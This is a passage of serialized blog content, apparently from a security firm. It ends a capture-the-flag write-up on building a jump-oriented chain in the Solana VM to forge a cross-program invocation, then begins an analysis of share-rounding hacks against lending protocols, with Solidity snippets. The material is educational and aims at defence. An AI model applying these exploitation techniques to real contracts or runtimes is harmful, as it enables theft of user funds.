u64\n",[56502],{"type":23,"tag":71,"props":56503,"children":56504},{"__ignoreMap":7},[56505],{"type":23,"tag":75,"props":56506,"children":56507},{"class":77,"line":78},[56508,56512,56517,56521,56526,56530,56534,56538,56542,56546,56551,56555,56559,56563,56567,56571,56576,56580,56584,56588,56593,56597,56601,56605,56609,56613,56618,56622,56626,56630,56634],{"type":23,"tag":75,"props":56509,"children":56510},{"style":82},[56511],{"type":29,"value":999},{"type":23,"tag":75,"props":56513,"children":56514},{"style":88},[56515],{"type":29,"value":56516}," sol_invoke_signed_rust",{"type":23,"tag":75,"props":56518,"children":56519},{"style":94},[56520],{"type":29,"value":643},{"type":23,"tag":75,"props":56522,"children":56523},{"style":110},[56524],{"type":29,"value":56525},"instruction_addr",{"type":23,"tag":75,"props":56527,"children":56528},{"style":209},[56529],{"type":29,"value":1018},{"type":23,"tag":75,"props":56531,"children":56532},{"style":209},[56533],{"type":29,"value":579},{"type":23,"tag":75,"props":56535,"children":56536},{"style":82},[56537],{"type":29,"value":2869},{"type":23,"tag":75,"props":56539,"children":56540},{"style":104},[56541],{"type":29,"value":25870},{"type":23,"tag":75,"props":56543,"children":56544},{"style":94},[56545],{"type":29,"value":611},{"type":23,"tag":75,"props":56547,"children":56548},{"style":110},[56549],{"type":29,"value":56550},"account_infos_addr",{"type":23,"tag":75,"props":56552,"children":56553},{"style":209},[56554],{"type":29,"value":1018},{"type":23,"tag":75,"props":56556,"children":56557},{"style":209},[56558],{"type":29,"value":579},{"type":23,"tag":75,"props":56560,"children":56561},{"style":82},[56562],{"type":29,"value":2869},{"type":23,"tag":75,"props":56564,"children":56565},{"style":104},[56566],{"type":29,"value":25870},{"type":23,"tag":75,"props":56568,"children":56569},{"style":94},[56570],{"type":29,"value":611},{"type":23,"tag":75,"props":56572,"children":56573},{"style":110},[56574],{"type":29,"value":56575},"account_infos_len",{"type":23,"tag":75,"props":56577,"children":56578},{"style":209},[56579],{"type":29,"value":1018},{"type":23,"tag":75,"props":56581,"children":56582},{"style":104},[56583],{"type":29,"value":17129},{"type":23,"tag":75,"props":56585,"children":56586},{"style":94},[56587],{"type":29,"value":611},{"type":23,"tag":75,"props":56589,"children":56590},{"style":110},[56591],{"type":29,"value":56592},"signers_seeds_addr",{"type":23,"tag":75,"props":56594,"children":56595},{"style":209},[56596],{"type":29,"value":1018},{"type":23,"tag":75,"props":56598,"children":56599},{"style":209},[56600],{"type":29,"value":579},{"type":23,"tag":75,"props":56602,"children":56603},{"style":82},[56604],{"type":29,"value":2869},{"type":23,"tag":75,"props":56606,"children":56607},{"style":104},[56608],{"type":29,"value":25870},{"type":23,"tag":75,"props":56610,"children":56611},{"style":94},[56612],{"type":29,"value":611},{"type":23,"tag":75,"props":56614,"children":56615},{"style":110},[56616],{"type":29,"value":56617},"signers_seeds_len",{"type":23,"tag":75,"props":56619,"children":56620},{"style":209},[56621],{"type":29,"value":1018},{"type":23,"tag":75,"props":56623,"children":56624},{"style":104},[56625],{"type":29,"value":17129},{"type":23,"tag":75,"props":56627,"children":56628},{"style":94},[56629],{"type":29,"value":167},{"type":23,"tag":75,"props":56631,"children":56632},{"style":209},[56633],{"type":29,"value":1156},{"type":23,"tag":75,"props":56635,"children":56636},{"style":104},[56637],{"type":29,"value":24440},{"type":23,"tag":32,"props":56639,"children":56640},{},[56641,56643,56648,56650,56657],{"type":29,"value":56642},"The source of ",{"type":23,"tag":940,"props":56644,"children":56646},{"href":56645},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[56647],{"type":29,"value":55258},{"type":29,"value":56649}," helps a lot, but looking at the actual ",{"type":23,"tag":940,"props":56651,"children":56654},{"href":56652,"rel":56653},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[944],[56655],{"type":29,"value":56656},"implementation",{"type":29,"value":56658}," provides more clarity:",{"type":23,"tag":27910,"props":56660,"children":56661},{},[56662],{"type":23,"tag":2801,"props":56663,"children":56664},{},[56665,56670,56672,56679],{"type":23,"tag":71,"props":56666,"children":56668},{"className":56667},[],[56669],{"type":29,"value":56525},{"type":29,"value":56671}," points to a ",{"type":23,"tag":940,"props":56673,"children":56676},{"href":56674,"rel":56675},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[944],[56677],{"type":29,"value":56678},"StableInstruction",{"type":29,"value":1018},{"type":23,"tag":32,"props":56681,"children":56682},{},[56683],{"type":23,"tag":15189,"props":56684,"children":56686},{"alt":56678,"src":56685},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":23,"tag":27910,"props":56688,"children":56689},{},[56690,56715],{"type":23,"tag":2801,"props":56691,"children":56692},{},[56693,56698,56700,56705,56707,56714],{"type":23,"tag":71,"props":56694,"children":56696},{"className":56695},[],[56697],{"type":29,"value":56550},{"type":29,"value":56699}," points to a slice of ",{"type":23,"tag":71,"props":56701,"children":56703},{"className":56702},[],[56704],{"type":29,"value":56575},{"type":29,"value":56706},"  ",{"type":23,"tag":940,"props":56708,"children":56711},{"href":56709,"rel":56710},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[944],[56712],{"type":29,"value":56713},"AccountInfos",{"type":29,"value":557},{"type":23,"tag":2801,"props":56716,"children":56717},{},[56718,56723,56725,56730,56732,56737],{"type":23,"tag":71,"props":56719,"children":56721},{"className":56720},[],[56722],{"type":29,"value":56592},{"type":29,"value":56724}," is a bit trickier, it points to a slice of length ",{"type":23,"tag":71,"props":56726,"children":56728},{"className":56727},[],[56729],{"type":29,"value":56617},{"type":29,"value":56731},", containing slices of ",{"type":23,"tag":71,"props":56733,"children":56735},{"className":56734},[],[56736],{"type":29,"value":1139},{"type":29,"value":557},{"type":23,"tag":32,"props":56739,"children":56740},{},[56741],{"type":23,"tag":15189,"props":56742,"children":56745},{"alt":56743,"src":56744},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":23,"tag":32,"props":56747,"children":56748},{},[56749,56751,56756],{"type":29,"value":56750},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":23,"tag":9690,"props":56752,"children":56753},{},[56754],{"type":29,"value":56755},"future call frames",{"type":29,"value":557},{"type":23,"tag":32,"props":56758,"children":56759},{},[56760,56762,56769],{"type":29,"value":56761},"Now that we have all the parts, all we need is to string it together. The full ",{"type":23,"tag":940,"props":56763,"children":56766},{"href":56764,"rel":56765},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[944],[56767],{"type":29,"value":56768},"reference solution can be found here",{"type":29,"value":557},{"type":23,"tag":32,"props":56771,"children":56772},{},[56773],{"type":29,"value":56774},"Here's a visualization of the final JOP chain.",{"type":23,"tag":64,"props":56776,"children":56778},{"className":55140,"code":56777,"language":55142,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[56779],{"type":23,"tag":71,"props":56780,"children":56781},{"__ignoreMap":7},[56782,56790,56797,56804,56812,56819,56827,56835,56843,56851,56859,56867,56875,56883,56891],{"type":23,"tag":75,"props":56783,"children":56784},{"class":77,"line":78},[56785],{"type":23,"tag":75,"props":56786,"children":56787},{},[56788],{"type":29,"value":56789},"graph BT\n",{"type":23,"tag":75,"props":56791,"children":56792},{"class":77,"line":100},[56793],{"type":23,"tag":75,"props":56794,"children":56795},{},[56796],{"type":29,"value":55162},{"type":23,"tag":75,"props":56798,"children":56799},{"class":77,"line":121},[56800],{"type":23,"tag":75,"props":56801,"children":56802},{},[56803],{"type":29,"value":55170},{"type":23,"tag":75,"props":56805,"children":56806},{"class":77,"line":138},[56807],{"type":23,"tag":75,"props":56808,"children":56809},{},[56810],{"type":29,"value":56811},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":23,"tag":75,"props":56813,"children":56814},{"class":77,"line":161},[56815],{"type":23,"tag":75,"props":56816,"children":56817},{},[56818],{"type":29,"value":55186},{"type":23,"tag":75,"props":56820,"children":56821},{"class":77,"line":196},[56822],{"type":23,"tag":75,"props":56823,"children":56824},{},[56825],{"type":29,"value":56826},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":23,"tag":75,"props":56828,"children":56829},{"class":77,"line":220},[56830],{"type":23,"tag":75,"props":56831,"children":56832},{},[56833],{"type":29,"value":56834},"    E --> G[4: process]\n",{"type":23,"tag":75,"props":56836,"children":56837},{"class":77,"line":248},[56838],{"type":23,"tag":75,"props":56839,"children":56840},{},[56841],{"type":29,"value":56842},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":23,"tag":75,"props":56844,"children":56845},{"class":77,"line":270},[56846],{"type":23,"tag":75,"props":56847,"children":56848},{},[56849],{"type":29,"value":56850},"    G --> I[5: process]\n",{"type":23,"tag":75,"props":56852,"children":56853},{"class":77,"line":279},[56854],{"type":23,"tag":75,"props":56855,"children":56856},{},[56857],{"type":29,"value":56858},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":23,"tag":75,"props":56860,"children":56861},{"class":77,"line":303},[56862],{"type":23,"tag":75,"props":56863,"children":56864},{},[56865],{"type":29,"value":56866},"    I --> K[6: process]\n",{"type":23,"tag":75,"props":56868,"children":56869},{"class":77,"line":322},[56870],{"type":23,"tag":75,"props":56871,"children":56872},{},[56873],{"type":29,"value":56874},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":23,"tag":75,"props":56876,"children":56877},{"class":77,"line":340},[56878],{"type":23,"tag":75,"props":56879,"children":56880},{},[56881],{"type":29,"value":56882},"    K --> N[7: process]\n",{"type":23,"tag":75,"props":56884,"children":56885},{"class":77,"line":349},[56886],{"type":23,"tag":75,"props":56887,"children":56888},{},[56889],{"type":29,"value":56890},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":23,"tag":75,"props":56892,"children":56893},{"class":77,"line":363},[56894],{"type":23,"tag":75,"props":56895,"children":56896},{},[56897],{"type":29,"value":56898},"    N --> O[8: Write 0x4337 to the account]\n",{"type":23,"tag":32,"props":56900,"children":56901},{},[56902,56904,56910],{"type":29,"value":56903},"Small note: ",{"type":23,"tag":71,"props":56905,"children":56907},{"className":56906},[],[56908],{"type":29,"value":56909},"target_r10",{"type":29,"value":56911}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":23,"tag":64,"props":56913,"children":56915},{"className":987,"code":56914,"language":986,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[56916],{"type":23,"tag":71,"props":56917,"children":56918},{"__ignoreMap":7},[56919,56964,56999,57006],{"type":23,"tag":75,"props":56920,"children":56921},{"class":77,"line":78},[56922,56926,56931,56935,56940,56944,56948,56952,56956,56960],{"type":23,"tag":75,"props":56923,"children":56924},{"style":82},[56925],{"type":29,"value":999},{"type":23,"tag":75,"props":56927,"children":56928},{"style":88},[56929],{"type":29,"value":56930}," call_frame_addr",{"type":23,"tag":75,"props":56932,"children":56933},{"style":94},[56934],{"type":29,"value":643},{"type":23,"tag":75,"props":56936,"children":56937},{"style":110},[56938],{"type":29,"value":56939},"depth",{"type":23,"tag":75,"props":56941,"children":56942},{"style":209},[56943],{"type":29,"value":1018},{"type":23,"tag":75,"props":56945,"children":56946},{"style":104},[56947],{"type":29,"value":17129},{"type":23,"tag":75,"props":56949,"children":56950},{"style":94},[56951],{"type":29,"value":167},{"type":23,"tag":75,"props":56953,"children":56954},{"style":209},[56955],{"type":29,"value":1156},{"type":23,"tag":75,"props":56957,"children":56958},{"style":104},[56959],{"type":29,"value":17129},{"type":23,"tag":75,"props":56961,"children":56962},{"style":94},[56963],{"type":29,"value":401},{"type":23,"tag":75,"props":56965,"children":56966},{"class":77,"line":100},[56967,56972,56976,56981,56985,56990,56994],{"type":23,"tag":75,"props":56968,"children":56969},{"style":237},[56970],{"type":29,"value":56971},"    0x200000000",{"type":23,"tag":75,"props":56973,"children":56974},{"style":209},[56975],{"type":29,"value":20160},{"type":23,"tag":75,"props":56977,"children":56978},{"style":237},[56979],{"type":29,"value":56980}," 0x2000",{"type":23,"tag":75,"props":56982,"children":56983},{"style":209},[56984],{"type":29,"value":579},{"type":23,"tag":75,"props":56986,"children":56987},{"style":110},[56988],{"type":29,"value":56989}," depth",{"type":23,"tag":75,"props":56991,"children":56992},{"style":209},[56993],{"type":29,"value":20160},{"type":23,"tag":75,"props":56995,"children":56996},{"style":237},[56997],{"type":29,"value":56998}," 0x1000\n",{"type":23,"tag":75,"props":57000,"children":57001},{"class":77,"line":121},[57002],{"type":23,"tag":75,"props":57003,"children":57004},{"style":94},[57005],{"type":29,"value":369},{"type":23,"tag":75,"props":57007,"children":57008},{"class":77,"line":138},[57009],{"type":23,"tag":75,"props":57010,"children":57011},{"style":3621},[57012],{"type":29,"value":57013},"// call_frame_addr(8) = 0x200011000\n",{"type":23,"tag":24,"props":57015,"children":57016},{"id":14115},[57017],{"type":29,"value":14118},{"type":23,"tag":32,"props":57019,"children":57020},{},[57021,57023,57030],{"type":29,"value":57022},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":23,"tag":940,"props":57024,"children":57027},{"href":57025,"rel":57026},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[944],[57028],{"type":29,"value":57029},"they do exist",{"type":29,"value":557},{"type":23,"tag":32,"props":57032,"children":57033},{},[57034],{"type":29,"value":57035},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":23,"tag":32,"props":57037,"children":57038},{},[57039,57041,57046],{"type":29,"value":57040},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":23,"tag":9690,"props":57042,"children":57043},{},[57044],{"type":29,"value":57045},"entire",{"type":29,"value":57047}," runtime.",{"type":23,"tag":14130,"props":57049,"children":57050},{},[57051],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":57053},[57054,57058,57059,57062],{"id":30179,"depth":100,"text":30182,"children":57055},[57056,57057],{"id":51731,"depth":121,"text":51734},{"id":53050,"depth":121,"text":53053},{"id":54287,"depth":100,"text":54290},{"id":55122,"depth":100,"text":55125,"children":57060},[57061],{"id":55236,"depth":121,"text":55239},{"id":14115,"depth":100,"text":14118},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":57067,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":57068,"description":57069,"author":57070,"image":57071,"date":57073,"isFeatured":15,"onBlogPage":15,"body":57074,"_type":14157,"_id":58220,"_source":14159,"_file":58221,"_stem":58222,"_extension":14162},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[16991],{"src":57072},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":20,"children":57075,"toc":58209},[57076,57080,57108,57113,57126,57131,57137,57142,57147,57152,57157,57170,57182,57202,57222,57227,57232,57250,57256,57261,57267,57281,57294,57299,57305,57319,57324,57346,57579,57584,57589,57602,57842,57852,57857,57863,57868,57873,57906,57911,57922,57928,57933,57947,58075,58089,58165,58170,58181,58186,58191,58195,58200,58205],{"type":23,"tag":24,"props":57077,"children":57078},{"id":26},[57079],{"type":29,"value":30},{"type":23,"tag":32,"props":57081,"children":57082},{},[57083,57085,57092,57093,57100,57102,57107],{"type":29,"value":57084},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":23,"tag":940,"props":57086,"children":57089},{"href":57087,"rel":57088},"https://neodyme.io/de/blog/lending_disclosure",[944],[57090],{"type":29,"value":57091},"fast",{"type":29,"value":611},{"type":23,"tag":940,"props":57094,"children":57097},{"href":57095,"rel":57096},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[944],[57098],{"type":29,"value":57099},"cheap",{"type":29,"value":57101}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":23,"tag":9690,"props":57103,"children":57104},{},[57105],{"type":29,"value":57106},"Most people haven't considered what happens when shares are worth a lot",{"type":29,"value":557},{"type":23,"tag":32,"props":57109,"children":57110},{},[57111],{"type":29,"value":57112},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":23,"tag":2797,"props":57114,"children":57115},{},[57116,57121],{"type":23,"tag":2801,"props":57117,"children":57118},{},[57119],{"type":29,"value":57120},"Inflate share value (token to share conversion rate)",{"type":23,"tag":2801,"props":57122,"children":57123},{},[57124],{"type":29,"value":57125},"Exploit rounding bug",{"type":23,"tag":32,"props":57127,"children":57128},{},[57129],{"type":29,"value":57130},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":23,"tag":24,"props":57132,"children":57134},{"id":57133},"model",[57135],{"type":29,"value":57136},"Model",{"type":23,"tag":32,"props":57138,"children":57139},{},[57140],{"type":29,"value":57141},"Before we dive in, there's some helpful background information we'll share first.",{"type":23,"tag":32,"props":57143,"children":57144},{},[57145],{"type":29,"value":57146},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":23,"tag":32,"props":57148,"children":57149},{},[57150],{"type":29,"value":57151},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":23,"tag":32,"props":57153,"children":57154},{},[57155],{"type":29,"value":57156},"This question is more complex than it may appear. Let's walk through an example.",{"type":23,"tag":32,"props":57158,"children":57159},{},[57160,57162,57168],{"type":29,"value":57161},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":23,"tag":71,"props":57163,"children":57165},{"className":57164},[],[57166],{"type":29,"value":57167},"1000:1000",{"type":29,"value":57169}," (1000 tokens to 1000 shares).",{"type":23,"tag":32,"props":57171,"children":57172},{},[57173,57175,57181],{"type":29,"value":57174},"After accruing fees, the pool gains one token for a new ratio of ",{"type":23,"tag":71,"props":57176,"children":57178},{"className":57177},[],[57179],{"type":29,"value":57180},"1001:1000",{"type":29,"value":557},{"type":23,"tag":32,"props":57183,"children":57184},{},[57185,57187,57193,57195,57200],{"type":29,"value":57186},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":23,"tag":71,"props":57188,"children":57190},{"className":57189},[],[57191],{"type":29,"value":57192},"1001/1000*999 = 999.999",{"type":29,"value":57194},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":23,"tag":9690,"props":57196,"children":57197},{},[57198],{"type":29,"value":57199},"down",{"type":29,"value":57201}," against the user.",{"type":23,"tag":32,"props":57203,"children":57204},{},[57205,57207,57213,57215,57221],{"type":29,"value":57206},"If we give the user 999 tokens, the new pool state is ",{"type":23,"tag":71,"props":57208,"children":57210},{"className":57209},[],[57211],{"type":29,"value":57212},"2:1",{"type":29,"value":57214},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":23,"tag":71,"props":57216,"children":57218},{"className":57217},[],[57219],{"type":29,"value":57220},"3:1",{"type":29,"value":557},{"type":23,"tag":32,"props":57223,"children":57224},{},[57225],{"type":29,"value":57226},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":23,"tag":32,"props":57228,"children":57229},{},[57230],{"type":29,"value":57231},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":23,"tag":2797,"props":57233,"children":57234},{},[57235,57240,57245],{"type":23,"tag":2801,"props":57236,"children":57237},{},[57238],{"type":29,"value":57239},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":23,"tag":2801,"props":57241,"children":57242},{},[57243],{"type":29,"value":57244},"When you withdraw, are you withdrawing shares or tokens?",{"type":23,"tag":2801,"props":57246,"children":57247},{},[57248],{"type":29,"value":57249},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":23,"tag":24,"props":57251,"children":57253},{"id":57252},"decisions",[57254],{"type":29,"value":57255},"Decisions",{"type":23,"tag":32,"props":57257,"children":57258},{},[57259],{"type":29,"value":57260},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":23,"tag":923,"props":57262,"children":57264},{"id":57263},"radiant-capital",[57265],{"type":29,"value":57266},"Radiant Capital",{"type":23,"tag":32,"props":57268,"children":57269},{},[57270,57272,57279],{"type":29,"value":57271},"Radiant Capital was ",{"type":23,"tag":940,"props":57273,"children":57276},{"href":57274,"rel":57275},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[944],[57277],{"type":29,"value":57278},"hacked on Jan 2nd",{"type":29,"value":57280}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":23,"tag":32,"props":57282,"children":57283},{},[57284,57286,57293],{"type":29,"value":57285},"The exploit is relatively straightforward and ",{"type":23,"tag":940,"props":57287,"children":57290},{"href":57288,"rel":57289},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[944],[57291],{"type":29,"value":57292},"has already been covered previously",{"type":29,"value":557},{"type":23,"tag":32,"props":57295,"children":57296},{},[57297],{"type":29,"value":57298},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":23,"tag":923,"props":57300,"children":57302},{"id":57301},"wise-lending",[57303],{"type":29,"value":57304},"Wise Lending",{"type":23,"tag":32,"props":57306,"children":57307},{},[57308,57310,57317],{"type":29,"value":57309},"Wise Lending was ",{"type":23,"tag":940,"props":57311,"children":57314},{"href":57312,"rel":57313},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[944],[57315],{"type":29,"value":57316},"hacked on January 13th",{"type":29,"value":57318}," for just under $460,000.",{"type":23,"tag":32,"props":57320,"children":57321},{},[57322],{"type":29,"value":57323},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":23,"tag":32,"props":57325,"children":57326},{},[57327,57329,57336,57338,57345],{"type":29,"value":57328},"This is ",{"type":23,"tag":940,"props":57330,"children":57333},{"href":57331,"rel":57332},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[944],[57334],{"type":29,"value":57335},"the code responsible",{"type":29,"value":57337}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":23,"tag":940,"props":57339,"children":57342},{"href":57340,"rel":57341},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[944],[57343],{"type":29,"value":57344},"no way to atomically self-bankrupt",{"type":29,"value":557},{"type":23,"tag":64,"props":57347,"children":57349},{"className":68,"code":57348,"language":67,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[57350],{"type":23,"tag":71,"props":57351,"children":57352},{"__ignoreMap":7},[57353,57384,57392,57400,57407,57429,57442,57449,57470,57500,57512,57524,57531,57555,57572],{"type":23,"tag":75,"props":57354,"children":57355},{"class":77,"line":78},[57356,57361,57366,57370,57375,57380],{"type":23,"tag":75,"props":57357,"children":57358},{"style":104},[57359],{"type":29,"value":57360},"uint256",{"type":23,"tag":75,"props":57362,"children":57363},{"style":94},[57364],{"type":29,"value":57365}," withdrawValue ",{"type":23,"tag":75,"props":57367,"children":57368},{"style":209},[57369],{"type":29,"value":212},{"type":23,"tag":75,"props":57371,"children":57372},{"style":94},[57373],{"type":29,"value":57374}," WISE_ORACLE.",{"type":23,"tag":75,"props":57376,"children":57377},{"style":88},[57378],{"type":29,"value":57379},"getTokensInETH",{"type":23,"tag":75,"props":57381,"children":57382},{"style":94},[57383],{"type":29,"value":97},{"type":23,"tag":75,"props":57385,"children":57386},{"class":77,"line":100},[57387],{"type":23,"tag":75,"props":57388,"children":57389},{"style":94},[57390],{"type":29,"value":57391},"    _poolToken,\n",{"type":23,"tag":75,"props":57393,"children":57394},{"class":77,"line":121},[57395],{"type":23,"tag":75,"props":57396,"children":57397},{"style":94},[57398],{"type":29,"value":57399},"    _amount\n",{"type":23,"tag":75,"props":57401,"children":57402},{"class":77,"line":138},[57403],{"type":23,"tag":75,"props":57404,"children":57405},{"style":94},[57406],{"type":29,"value":653},{"type":23,"tag":75,"props":57408,"children":57409},{"class":77,"line":161},[57410,57414,57419,57424],{"type":23,"tag":75,"props":57411,"children":57412},{"style":209},[57413],{"type":29,"value":28784},{"type":23,"tag":75,"props":57415,"children":57416},{"style":94},[57417],{"type":29,"value":57418}," WISE_LENDING.",{"type":23,"tag":75,"props":57420,"children":57421},{"style":88},[57422],{"type":29,"value":57423},"lendingPoolData",{"type":23,"tag":75,"props":57425,"children":57426},{"style":94},[57427],{"type":29,"value":57428},"(_poolToken).collateralFactor\n",{"type":23,"tag":75,"props":57430,"children":57431},{"class":77,"line":196},[57432,57437],{"type":23,"tag":75,"props":57433,"children":57434},{"style":209},[57435],{"type":29,"value":57436},"    /",{"type":23,"tag":75,"props":57438,"children":57439},{"style":94},[57440],{"type":29,"value":57441}," PRECISION_FACTOR_E18;\n",{"type":23,"tag":75,"props":57443,"children":57444},{"class":77,"line":220},[57445],{"type":23,"tag":75,"props":57446,"children":57447},{"emptyLinePlaceholder":15},[57448],{"type":29,"value":276},{"type":23,"tag":75,"props":57450,"children":57451},{"class":77,"line":248},[57452,57456,57461,57465],{"type":23,"tag":75,"props":57453,"children":57454},{"style":104},[57455],{"type":29,"value":40881},{"type":23,"tag":75,"props":57457,"children":57458},{"style":94},[57459],{"type":29,"value":57460}," state ",{"type":23,"tag":75,"props":57462,"children":57463},{"style":209},[57464],{"type":29,"value":212},{"type":23,"tag":75,"props":57466,"children":57467},{"style":94},[57468],{"type":29,"value":57469}," borrowPercentageCap\n",{"type":23,"tag":75,"props":57471,"children":57472},{"class":77,"line":270},[57473,57477,57481,57486,57491,57495],{"type":23,"tag":75,"props":57474,"children":57475},{"style":209},[57476],{"type":29,"value":28784},{"type":23,"tag":75,"props":57478,"children":57479},{"style":94},[57480],{"type":29,"value":183},{"type":23,"tag":75,"props":57482,"children":57483},{"style":88},[57484],{"type":29,"value":57485},"overallETHCollateralsWeighted",{"type":23,"tag":75,"props":57487,"children":57488},{"style":94},[57489],{"type":29,"value":57490},"(_nftId) ",{"type":23,"tag":75,"props":57492,"children":57493},{"style":209},[57494],{"type":29,"value":15602},{"type":23,"tag":75,"props":57496,"children":57497},{"style":94},[57498],{"type":29,"value":57499}," withdrawValue)\n",{"type":23,"tag":75,"props":57501,"children":57502},{"class":77,"line":279},[57503,57507],{"type":23,"tag":75,"props":57504,"children":57505},{"style":209},[57506],{"type":29,"value":57436},{"type":23,"tag":75,"props":57508,"children":57509},{"style":94},[57510],{"type":29,"value":57511}," PRECISION_FACTOR_E18\n",{"type":23,"tag":75,"props":57513,"children":57514},{"class":77,"line":303},[57515,57519],{"type":23,"tag":75,"props":57516,"children":57517},{"style":209},[57518],{"type":29,"value":43639},{"type":23,"tag":75,"props":57520,"children":57521},{"style":94},[57522],{"type":29,"value":57523}," borrowAmount;\n",{"type":23,"tag":75,"props":57525,"children":57526},{"class":77,"line":322},[57527],{"type":23,"tag":75,"props":57528,"children":57529},{"emptyLinePlaceholder":15},[57530],{"type":29,"value":276},{"type":23,"tag":75,"props":57532,"children":57533},{"class":77,"line":340},[57534,57538,57543,57547,57551],{"type":23,"tag":75,"props":57535,"children":57536},{"style":175},[57537],{"type":29,"value":26807},{"type":23,"tag":75,"props":57539,"children":57540},{"style":94},[57541],{"type":29,"value":57542}," (state ",{"type":23,"tag":75,"props":57544,"children":57545},{"style":209},[57546],{"type":29,"value":2469},{"type":23,"tag":75,"props":57548,"children":57549},{"style":82},[57550],{"type":29,"value":23713},{"type":23,"tag":75,"props":57552,"children":57553},{"style":94},[57554],{"type":29,"value":193},{"type":23,"tag":75,"props":57556,"children":57557},{"class":77,"line":349},[57558,57563,57568],{"type":23,"tag":75,"props":57559,"children":57560},{"style":175},[57561],{"type":29,"value":57562},"    revert",{"type":23,"tag":75,"props":57564,"children":57565},{"style":88},[57566],{"type":29,"value":57567}," 